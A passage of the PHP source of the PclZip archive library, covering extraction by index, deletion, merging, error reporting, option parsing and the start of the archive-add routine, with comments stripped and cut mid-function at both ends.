      }

      if (isset($v_options[PCLZIP_OPT_PATH])) {
        $v_path = $v_options[PCLZIP_OPT_PATH];
      }
      if (isset($v_options[PCLZIP_OPT_REMOVE_PATH])) {
        $v_remove_path = $v_options[PCLZIP_OPT_REMOVE_PATH];
      }
      if (isset($v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) {
        $v_remove_all_path = $v_options[PCLZIP_OPT_REMOVE_ALL_PATH];
      }
      if (isset($v_options[PCLZIP_OPT_ADD_PATH])) {
        if ((strlen($v_path) > 0) && (substr($v_path, -1) != '/')) {
          $v_path .= '/';
        }
        $v_path .= $v_options[PCLZIP_OPT_ADD_PATH];
      }
    }

    else {

      $v_path = $v_arg_list[0];

      if ($v_size == 2) {
        $v_remove_path = $v_arg_list[1];
      }
      else if ($v_size > 2) {
        PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments");

        return 0;
      }
    }
  }

  $this->privOptionDefaultThreshold($v_options);


  $p_list = array();
  $v_result = $this->privExtractByRule($p_list, $v_path, $v_remove_path,
                                     $v_remove_all_path, $v_options);
  if ($v_result < 1) {
    unset($p_list);
    return(0);
  }

  return $p_list;
}



function extractByIndex($p_index)
{
  $v_result=1;

  $this->privErrorReset();

  if (!$this->privCheckFormat()) {
    return(0);
  }

  $v_options = array();
  $v_path = '';
  $v_remove_path = "";
  $v_remove_all_path = false;

  $v_size = func_num_args();

  $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE;

  if ($v_size > 1) {
    $v_arg_list = func_get_args();

    array_shift($v_arg_list);
    $v_size--;

    if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {

      $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
                                          array (PCLZIP_OPT_PATH => 'optional',
                                                 PCLZIP_OPT_REMOVE_PATH => 'optional',
                                                 PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
                                                 PCLZIP_OPT_EXTRACT_AS_STRING => 'optional',
                                                 PCLZIP_OPT_ADD_PATH => 'optional',
                                                 PCLZIP_CB_PRE_EXTRACT => 'optional',
                                                 PCLZIP_CB_POST_EXTRACT => 'optional',
                                                 PCLZIP_OPT_SET_CHMOD => 'optional',
                                                 PCLZIP_OPT_REPLACE_NEWER => 'optional'
                                                 ,PCLZIP_OPT_STOP_ON_ERROR => 'optional'
                                                 ,PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => 'optional',
                                                 PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
                                                 PCLZIP_OPT_TEMP_FILE_ON => 'optional',
                                                 PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
											   ));
      if ($v_result != 1) {
        return 0;
      }

      if (isset($v_options[PCLZIP_OPT_PATH])) {
        $v_path = $v_options[PCLZIP_OPT_PATH];
      }
      if (isset($v_options[PCLZIP_OPT_REMOVE_PATH])) {
        $v_remove_path = $v_options[PCLZIP_OPT_REMOVE_PATH];
      }
      if (isset($v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) {
        $v_remove_all_path = $v_options[PCLZIP_OPT_REMOVE_ALL_PATH];
      }
      if (isset($v_options[PCLZIP_OPT_ADD_PATH])) {
        if ((strlen($v_path) > 0) && (substr($v_path, -1) != '/')) {
          $v_path .= '/';
        }
        $v_path .= $v_options[PCLZIP_OPT_ADD_PATH];
      }
      if (!isset($v_options[PCLZIP_OPT_EXTRACT_AS_STRING])) {
        $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE;
      }
      else {
      }
    }

    else {

      $v_path = $v_arg_list[0];

      if ($v_size == 2) {
        $v_remove_path = $v_arg_list[1];
      }
      else if ($v_size > 2) {
        PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments");

        return 0;
      }
    }
  }


  $v_arg_trick = array (PCLZIP_OPT_BY_INDEX, $p_index);
  $v_options_trick = array();
  $v_result = $this->privParseOptions($v_arg_trick, sizeof($v_arg_trick), $v_options_trick,
                                      array (PCLZIP_OPT_BY_INDEX => 'optional' ));
  if ($v_result != 1) {
      return 0;
  }
  $v_options[PCLZIP_OPT_BY_INDEX] = $v_options_trick[PCLZIP_OPT_BY_INDEX];

  $this->privOptionDefaultThreshold($v_options);

  if (($v_result = $this->privExtractByRule($p_list, $v_path, $v_remove_path, $v_remove_all_path, $v_options)) < 1) {
      return(0);
  }

  return $p_list;
}

function delete()
{
  $v_result=1;

  $this->privErrorReset();

  if (!$this->privCheckFormat()) {
    return(0);
  }

  $v_options = array();

  $v_size = func_num_args();

  if ($v_size > 0) {
    $v_arg_list = func_get_args();

    $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
                                      array (PCLZIP_OPT_BY_NAME => 'optional',
                                             PCLZIP_OPT_BY_EREG => 'optional',
                                             PCLZIP_OPT_BY_PREG => 'optional',
                                             PCLZIP_OPT_BY_INDEX => 'optional' ));
    if ($v_result != 1) {
        return 0;
    }
  }

  $this->privDisableMagicQuotes();

  $v_list = array();
  if (($v_result = $this->privDeleteByRule($v_list, $v_options)) != 1) {
    $this->privSwapBackMagicQuotes();
    unset($v_list);
    return(0);
  }

  $this->privSwapBackMagicQuotes();

  return $v_list;
}

function deleteByIndex($p_index)
{
  
  $p_list = $this->delete(PCLZIP_OPT_BY_INDEX, $p_index);

  return $p_list;
}

function properties()
{

  $this->privErrorReset();

  $this->privDisableMagicQuotes();

  if (!$this->privCheckFormat()) {
    $this->privSwapBackMagicQuotes();
    return(0);
  }

  $v_prop = array();
  $v_prop['comment'] = '';
  $v_prop['nb'] = 0;
  $v_prop['status'] = 'not_exist';

  if (@is_file($this->zipname))
  {
    if (($this->zip_fd = @fopen($this->zipname, 'rb')) == 0)
    {
      $this->privSwapBackMagicQuotes();
      
      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in binary read mode');

      return 0;
    }

    $v_central_dir = array();
    if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
    {
      $this->privSwapBackMagicQuotes();
      return 0;
    }

    $this->privCloseFd();

    $v_prop['comment'] = $v_central_dir['comment'];
    $v_prop['nb'] = $v_central_dir['entries'];
    $v_prop['status'] = 'ok';
  }

  $this->privSwapBackMagicQuotes();

  return $v_prop;
}

function duplicate($p_archive)
{
  $v_result = 1;

  $this->privErrorReset();

  if ((is_object($p_archive)) && (get_class($p_archive) == 'pclzip'))
  {

    $v_result = $this->privDuplicate($p_archive->zipname);
  }

  else if (is_string($p_archive))
  {

    if (!is_file($p_archive)) {
      PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "No file with filename '".$p_archive."'");
      $v_result = PCLZIP_ERR_MISSING_FILE;
    }
    else {
      $v_result = $this->privDuplicate($p_archive);
    }
  }

  else
  {
    PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_archive_to_add");
    $v_result = PCLZIP_ERR_INVALID_PARAMETER;
  }

  return $v_result;
}

function merge($p_archive_to_add)
{
  $v_result = 1;

  $this->privErrorReset();

  if (!$this->privCheckFormat()) {
    return(0);
  }

  if ((is_object($p_archive_to_add)) && (get_class($p_archive_to_add) == 'pclzip'))
  {

    $v_result = $this->privMerge($p_archive_to_add);
  }

  else if (is_string($p_archive_to_add))
  {

    $v_object_archive = new PclZip($p_archive_to_add);

    $v_result = $this->privMerge($v_object_archive);
  }

  else
  {
    PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_archive_to_add");
    $v_result = PCLZIP_ERR_INVALID_PARAMETER;
  }

  return $v_result;
}



function errorCode()
{
  if (PCLZIP_ERROR_EXTERNAL == 1) {
    return(PclErrorCode());
  }
  else {
    return($this->error_code);
  }
}

function errorName($p_with_code=false)
{
  $v_name = array ( PCLZIP_ERR_NO_ERROR => 'PCLZIP_ERR_NO_ERROR',
                    PCLZIP_ERR_WRITE_OPEN_FAIL => 'PCLZIP_ERR_WRITE_OPEN_FAIL',
                    PCLZIP_ERR_READ_OPEN_FAIL => 'PCLZIP_ERR_READ_OPEN_FAIL',
                    PCLZIP_ERR_INVALID_PARAMETER => 'PCLZIP_ERR_INVALID_PARAMETER',
                    PCLZIP_ERR_MISSING_FILE => 'PCLZIP_ERR_MISSING_FILE',
                    PCLZIP_ERR_FILENAME_TOO_LONG => 'PCLZIP_ERR_FILENAME_TOO_LONG',
                    PCLZIP_ERR_INVALID_ZIP => 'PCLZIP_ERR_INVALID_ZIP',
                    PCLZIP_ERR_BAD_EXTRACTED_FILE => 'PCLZIP_ERR_BAD_EXTRACTED_FILE',
                    PCLZIP_ERR_DIR_CREATE_FAIL => 'PCLZIP_ERR_DIR_CREATE_FAIL',
                    PCLZIP_ERR_BAD_EXTENSION => 'PCLZIP_ERR_BAD_EXTENSION',
                    PCLZIP_ERR_BAD_FORMAT => 'PCLZIP_ERR_BAD_FORMAT',
                    PCLZIP_ERR_DELETE_FILE_FAIL => 'PCLZIP_ERR_DELETE_FILE_FAIL',
                    PCLZIP_ERR_RENAME_FILE_FAIL => 'PCLZIP_ERR_RENAME_FILE_FAIL',
                    PCLZIP_ERR_BAD_CHECKSUM => 'PCLZIP_ERR_BAD_CHECKSUM',
                    PCLZIP_ERR_INVALID_ARCHIVE_ZIP => 'PCLZIP_ERR_INVALID_ARCHIVE_ZIP',
                    PCLZIP_ERR_MISSING_OPTION_VALUE => 'PCLZIP_ERR_MISSING_OPTION_VALUE',
                    PCLZIP_ERR_INVALID_OPTION_VALUE => 'PCLZIP_ERR_INVALID_OPTION_VALUE',
                    PCLZIP_ERR_UNSUPPORTED_COMPRESSION => 'PCLZIP_ERR_UNSUPPORTED_COMPRESSION',
                    PCLZIP_ERR_UNSUPPORTED_ENCRYPTION => 'PCLZIP_ERR_UNSUPPORTED_ENCRYPTION'
                    ,PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE => 'PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE'
                    ,PCLZIP_ERR_DIRECTORY_RESTRICTION => 'PCLZIP_ERR_DIRECTORY_RESTRICTION'
                  );

  if (isset($v_name[$this->error_code])) {
    $v_value = $v_name[$this->error_code];
  }
  else {
    $v_value = 'NoName';
  }

  if ($p_with_code) {
    return($v_value.' ('.$this->error_code.')');
  }
  else {
    return($v_value);
  }
}

function errorInfo($p_full=false)
{
  if (PCLZIP_ERROR_EXTERNAL == 1) {
    return(PclErrorString());
  }
  else {
    if ($p_full) {
      return($this->errorName(true)." : ".$this->error_string);
    }
    else {
      return($this->error_string." [code ".$this->error_code."]");
    }
  }
}





function privCheckFormat($p_level=0)
{
  $v_result = true;

  clearstatcache();

  $this->privErrorReset();

  if (!is_file($this->zipname)) {
    PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "Missing archive file '".$this->zipname."'");
    return(false);
  }

  if (!is_readable($this->zipname)) {
    PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to read archive '".$this->zipname."'");
    return(false);
  }




  return $v_result;
}

function privParseOptions(&$p_options_list, $p_size, &$v_result_list, $v_requested_options=false)
{
  $v_result=1;
  
  $i=0;
  while ($i<$p_size) {

    if (!isset($v_requested_options[$p_options_list[$i]])) {
      PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid optional parameter '".$p_options_list[$i]."' for this method");

      return PclZip::errorCode();
    }

    switch ($p_options_list[$i]) {
      case PCLZIP_OPT_PATH :
      case PCLZIP_OPT_REMOVE_PATH :
      case PCLZIP_OPT_ADD_PATH :
        if (($i+1) >= $p_size) {
          PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");

          return PclZip::errorCode();
        }

        $v_result_list[$p_options_list[$i]] = PclZipUtilTranslateWinPath($p_options_list[$i+1], FALSE);
        $i++;
      break;

      case PCLZIP_OPT_TEMP_FILE_THRESHOLD :
        if (($i+1) >= $p_size) {
          PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
          return PclZip::errorCode();
        }
        
        if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_OFF])) {
          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_OFF'");
          return PclZip::errorCode();
        }
        
        $v_value = $p_options_list[$i+1];
        if ((!is_integer($v_value)) || ($v_value<0)) {
          PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Integer expected for option '".PclZipUtilOptionText($p_options_list[$i])."'");
          return PclZip::errorCode();
        }

        $v_result_list[$p_options_list[$i]] = $v_value*1048576;
        $i++;
      break;

      case PCLZIP_OPT_TEMP_FILE_ON :
        if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_OFF])) {
          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_OFF'");
          return PclZip::errorCode();
        }
        
        $v_result_list[$p_options_list[$i]] = true;
      break;

      case PCLZIP_OPT_TEMP_FILE_OFF :
        if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_ON])) {
          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_ON'");
          return PclZip::errorCode();
        }
        if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_THRESHOLD])) {
          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_THRESHOLD'");
          return PclZip::errorCode();
        }
        
        $v_result_list[$p_options_list[$i]] = true;
      break;

      case PCLZIP_OPT_EXTRACT_DIR_RESTRICTION :
        if (($i+1) >= $p_size) {
          PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");

          return PclZip::errorCode();
        }

        if (   is_string($p_options_list[$i+1])
            && ($p_options_list[$i+1] != '')) {
          $v_result_list[$p_options_list[$i]] = PclZipUtilTranslateWinPath($p_options_list[$i+1], FALSE);
          $i++;
        }
        else {
        }
      break;

      case PCLZIP_OPT_BY_NAME :
        if (($i+1) >= $p_size) {
          PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");

          return PclZip::errorCode();
        }

        if (is_string($p_options_list[$i+1])) {
            $v_result_list[$p_options_list[$i]][0] = $p_options_list[$i+1];
        }
        else if (is_array($p_options_list[$i+1])) {
            $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];
        }
        else {
          PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");

          return PclZip::errorCode();
        }
        $i++;
      break;

      case PCLZIP_OPT_BY_EREG :
        $p_options_list[$i] = PCLZIP_OPT_BY_PREG;
      case PCLZIP_OPT_BY_PREG :
        if (($i+1) >= $p_size) {
          PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");

          return PclZip::errorCode();
        }

        if (is_string($p_options_list[$i+1])) {
            $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];
        }
        else {
          PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");

          return PclZip::errorCode();
        }
        $i++;
      break;

      case PCLZIP_OPT_COMMENT :
      case PCLZIP_OPT_ADD_COMMENT :
      case PCLZIP_OPT_PREPEND_COMMENT :
        if (($i+1) >= $p_size) {
          PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE,
		                     "Missing parameter value for option '"
							 .PclZipUtilOptionText($p_options_list[$i])
							 ."'");

          return PclZip::errorCode();
        }

        if (is_string($p_options_list[$i+1])) {
            $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];
        }
        else {
          PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE,
		                     "Wrong parameter value for option '"
							 .PclZipUtilOptionText($p_options_list[$i])
							 ."'");

          return PclZip::errorCode();
        }
        $i++;
      break;

      case PCLZIP_OPT_BY_INDEX :
        if (($i+1) >= $p_size) {
          PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");

          return PclZip::errorCode();
        }

        $v_work_list = array();
        if (is_string($p_options_list[$i+1])) {

            $p_options_list[$i+1] = strtr($p_options_list[$i+1], ' ', '');

            $v_work_list = explode(",", $p_options_list[$i+1]);
        }
        else if (is_integer($p_options_list[$i+1])) {
            $v_work_list[0] = $p_options_list[$i+1].'-'.$p_options_list[$i+1];
        }
        else if (is_array($p_options_list[$i+1])) {
            $v_work_list = $p_options_list[$i+1];
        }
        else {
          PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Value must be integer, string or array for option '".PclZipUtilOptionText($p_options_list[$i])."'");

          return PclZip::errorCode();
        }
        
        $v_sort_flag=false;
        $v_sort_value=0;
        for ($j=0; $j<sizeof($v_work_list); $j++) {
            $v_item_list = explode("-", $v_work_list[$j]);
            $v_size_item_list = sizeof($v_item_list);
            
            
            if ($v_size_item_list == 1) {
                $v_result_list[$p_options_list[$i]][$j]['start'] = $v_item_list[0];
                $v_result_list[$p_options_list[$i]][$j]['end'] = $v_item_list[0];
            }
            elseif ($v_size_item_list == 2) {
                $v_result_list[$p_options_list[$i]][$j]['start'] = $v_item_list[0];
                $v_result_list[$p_options_list[$i]][$j]['end'] = $v_item_list[1];
            }
            else {
                PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Too many values in index range for option '".PclZipUtilOptionText($p_options_list[$i])."'");

                return PclZip::errorCode();
            }


            if ($v_result_list[$p_options_list[$i]][$j]['start'] < $v_sort_value) {
                $v_sort_flag=true;

                PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Invalid order of index range for option '".PclZipUtilOptionText($p_options_list[$i])."'");

                return PclZip::errorCode();
            }
            $v_sort_value = $v_result_list[$p_options_list[$i]][$j]['start'];
        }
        
        if ($v_sort_flag) {
        }

        $i++;
      break;

      case PCLZIP_OPT_REMOVE_ALL_PATH :
      case PCLZIP_OPT_EXTRACT_AS_STRING :
      case PCLZIP_OPT_NO_COMPRESSION :
      case PCLZIP_OPT_EXTRACT_IN_OUTPUT :
      case PCLZIP_OPT_REPLACE_NEWER :
      case PCLZIP_OPT_STOP_ON_ERROR :
        $v_result_list[$p_options_list[$i]] = true;
      break;

      case PCLZIP_OPT_SET_CHMOD :
        if (($i+1) >= $p_size) {
          PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");

          return PclZip::errorCode();
        }

        $v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];
        $i++;
      break;

      case PCLZIP_CB_PRE_EXTRACT :
      case PCLZIP_CB_POST_EXTRACT :
      case PCLZIP_CB_PRE_ADD :
      case PCLZIP_CB_POST_ADD :
        if (($i+1) >= $p_size) {
          PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");

          return PclZip::errorCode();
        }

        $v_function_name = $p_options_list[$i+1];

        if (!function_exists($v_function_name)) {
          PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Function '".$v_function_name."()' is not an existing function for option '".PclZipUtilOptionText($p_options_list[$i])."'");

          return PclZip::errorCode();
        }

        $v_result_list[$p_options_list[$i]] = $v_function_name;
        $i++;
      break;

      default :
        PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER,
	                       "Unknown parameter '"
						   .$p_options_list[$i]."'");

        return PclZip::errorCode();
    }

    $i++;
  }

  if ($v_requested_options !== false) {
    for ($key=reset($v_requested_options); $key=key($v_requested_options); $key=next($v_requested_options)) {
      if ($v_requested_options[$key] == 'mandatory') {
        if (!isset($v_result_list[$key])) {
          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Missing mandatory parameter ".PclZipUtilOptionText($key)."(".$key.")");

          return PclZip::errorCode();
        }
      }
    }
  }
  
  if (!isset($v_result_list[PCLZIP_OPT_TEMP_FILE_THRESHOLD])) {
    
  }

  return $v_result;
}

function privOptionDefaultThreshold(&$p_options)
{
  $v_result=1;
  
  if (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD])
      || isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF])) {
    return $v_result;
  }
  
  $v_memory_limit = ini_get('memory_limit');
  $v_memory_limit = trim($v_memory_limit);
  $last = strtolower(substr($v_memory_limit, -1));

  if($last == 'g')
      $v_memory_limit = $v_memory_limit*1073741824;
  if($last == 'm')
      $v_memory_limit = $v_memory_limit*1048576;
  if($last == 'k')
      $v_memory_limit = $v_memory_limit*1024;
          
  $p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] = floor($v_memory_limit*PCLZIP_TEMPORARY_FILE_RATIO);
  

  if ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] < 1048576) {
    unset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]);
  }
        
  return $v_result;
}

function privFileDescrParseAtt(&$p_file_list, &$p_filedescr, $v_options, $v_requested_options=false)
{
  $v_result=1;
  
  foreach ($p_file_list as $v_key => $v_value) {
  
    if (!isset($v_requested_options[$v_key])) {
      PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid file attribute '".$v_key."' for this file");

      return PclZip::errorCode();
    }

    switch ($v_key) {
      case PCLZIP_ATT_FILE_NAME :
        if (!is_string($v_value)) {
          PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'");
          return PclZip::errorCode();
        }

        $p_filedescr['filename'] = PclZipUtilPathReduction($v_value);
        
        if ($p_filedescr['filename'] == '') {
          PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty filename for attribute '".PclZipUtilOptionText($v_key)."'");
          return PclZip::errorCode();
        }

      break;

      case PCLZIP_ATT_FILE_NEW_SHORT_NAME :
        if (!is_string($v_value)) {
          PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'");
          return PclZip::errorCode();
        }

        $p_filedescr['new_short_name'] = PclZipUtilPathReduction($v_value);

        if ($p_filedescr['new_short_name'] == '') {
          PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty short filename for attribute '".PclZipUtilOptionText($v_key)."'");
          return PclZip::errorCode();
        }
      break;

      case PCLZIP_ATT_FILE_NEW_FULL_NAME :
        if (!is_string($v_value)) {
          PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'");
          return PclZip::errorCode();
        }

        $p_filedescr['new_full_name'] = PclZipUtilPathReduction($v_value);

        if ($p_filedescr['new_full_name'] == '') {
          PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty full filename for attribute '".PclZipUtilOptionText($v_key)."'");
          return PclZip::errorCode();
        }
      break;

      case PCLZIP_ATT_FILE_COMMENT :
        if (!is_string($v_value)) {
          PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'");
          return PclZip::errorCode();
        }

        $p_filedescr['comment'] = $v_value;
      break;

      case PCLZIP_ATT_FILE_MTIME :
        if (!is_integer($v_value)) {
          PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". Integer expected for attribute '".PclZipUtilOptionText($v_key)."'");
          return PclZip::errorCode();
        }

        $p_filedescr['mtime'] = $v_value;
      break;

      case PCLZIP_ATT_FILE_CONTENT :
        $p_filedescr['content'] = $v_value;
      break;

      default :
        PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER,
	                           "Unknown parameter '".$v_key."'");

        return PclZip::errorCode();
    }

    if ($v_requested_options !== false) {
      for ($key=reset($v_requested_options); $key=key($v_requested_options); $key=next($v_requested_options)) {
        if ($v_requested_options[$key] == 'mandatory') {
          if (!isset($p_file_list[$key])) {
            PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Missing mandatory parameter ".PclZipUtilOptionText($key)."(".$key.")");
            return PclZip::errorCode();
          }
        }
      }
    }
  
  }
  
  return $v_result;
}

function privFileDescrExpand(&$p_filedescr_list, &$p_options)
{
  $v_result=1;
  
  $v_result_list = array();
  
  for ($i=0; $i<sizeof($p_filedescr_list); $i++) {
    
    $v_descr = $p_filedescr_list[$i];
    
    $v_descr['filename'] = PclZipUtilTranslateWinPath($v_descr['filename'], false);
    $v_descr['filename'] = PclZipUtilPathReduction($v_descr['filename']);
    
    if (file_exists($v_descr['filename'])) {
      if (@is_file($v_descr['filename'])) {
        $v_descr['type'] = 'file';
      }
      else if (@is_dir($v_descr['filename'])) {
        $v_descr['type'] = 'folder';
      }
      else if (@is_link($v_descr['filename'])) {
        continue;
      }
      else {
        continue;
      }
    }
    
    else if (isset($v_descr['content'])) {
      $v_descr['type'] = 'virtual_file';
    }
    
    else {
      PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "File '".$v_descr['filename']."' does not exist");

      return PclZip::errorCode();
    }
    
    $this->privCalculateStoredFilename($v_descr, $p_options);
    
    $v_result_list[sizeof($v_result_list)] = $v_descr;
    
    if ($v_descr['type'] == 'folder') {
      $v_dirlist_descr = array();
      $v_dirlist_nb = 0;
      if ($v_folder_handler = @opendir($v_descr['filename'])) {
        while (($v_item_handler = @readdir($v_folder_handler)) !== false) {

          if (($v_item_handler == '.') || ($v_item_handler == '..')) {
              continue;
          }
          
          $v_dirlist_descr[$v_dirlist_nb]['filename'] = $v_descr['filename'].'/'.$v_item_handler;
          
          if (($v_descr['stored_filename'] != $v_descr['filename'])
               && (!isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH]))) {
            if ($v_descr['stored_filename'] != '') {
              $v_dirlist_descr[$v_dirlist_nb]['new_full_name'] = $v_descr['stored_filename'].'/'.$v_item_handler;
            }
            else {
              $v_dirlist_descr[$v_dirlist_nb]['new_full_name'] = $v_item_handler;
            }
          }
    
          $v_dirlist_nb++;
        }
        
        @closedir($v_folder_handler);
      }
      else {
      }
      
      if ($v_dirlist_nb != 0) {
        if (($v_result = $this->privFileDescrExpand($v_dirlist_descr, $p_options)) != 1) {
          return $v_result;
        }
        
        $v_result_list = array_merge($v_result_list, $v_dirlist_descr);
      }
      else {
      }
        
      unset($v_dirlist_descr);
    }
  }
  
  $p_filedescr_list = $v_result_list;

  return $v_result;
}

function privCreate($p_filedescr_list, &$p_result_list, &$p_options)
{
  $v_result=1;
  $v_list_detail = array();
  
  $this->privDisableMagicQuotes();

  if (($v_result = $this->privOpenFd('wb')) != 1)
  {
    return $v_result;
  }

  $v_result = $this->privAddList($p_filedescr_list, $p_result_list, $p_options);

  $this->privCloseFd();

  $this->privSwapBackMagicQuotes();

  return $v_result;
}

function privAdd($p_filedescr_list, &$p_result_list, &$p_options)
{
  $v_result=1;
  $v_list_detail = array();

  if ((!is_file($this->zipname)) || (filesize($this->zipname) == 0))
  {

    $v_result = $this->privCreate($p_filedescr_list, $p_result_list, $p_options);

    return $v_result;
  }
  $this->privDisableMagicQuotes();

  if (($v_result=$this->privOpenFd('rb')) != 1)
  {
    $this->privSwapBackMagicQuotes();

    return $v_result;
  }

  $v_central_dir = array();
  if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
  {
    $this->privCloseFd();
    $this->privSwapBackMagicQuotes();
    return $v_result;
  }

  @rewind($this->zip_fd);

  $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp';

  if (($v_zip_temp_fd = @fopen($v_zip_temp_name, 'wb')) == 0)
  {
    $this->privCloseFd();
    $this->privSwapBackMagicQuotes();

    PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_zip_temp_name.'\' in binary write mode');

    return PclZip::errorCode();
  }

  $v_size = $v_central_dir['offset'];
  while ($v_size != 0)
  {
    $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
    $v_buffer = fread($this->zip_fd, $v_read_size);
    @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
    $v_size -= $v_read_size;
  }

  $v_swap = $this->zip_fd;
  $this->zip_fd = $v_zip_temp_fd;
  $v_zip_temp_fd = $v_swap;

  $v_header_list = array();
  if (($v_result = $this->privAddFileList($p_filedescr_list, $v_header_list, $p_options)) != 1)
  {
    fclose($v_zip_temp_fd);
    $this->privCloseFd();
    @unlink($v_zip_temp_name);
    $this->privSwapBackMagicQuotes();

    return $v_result;
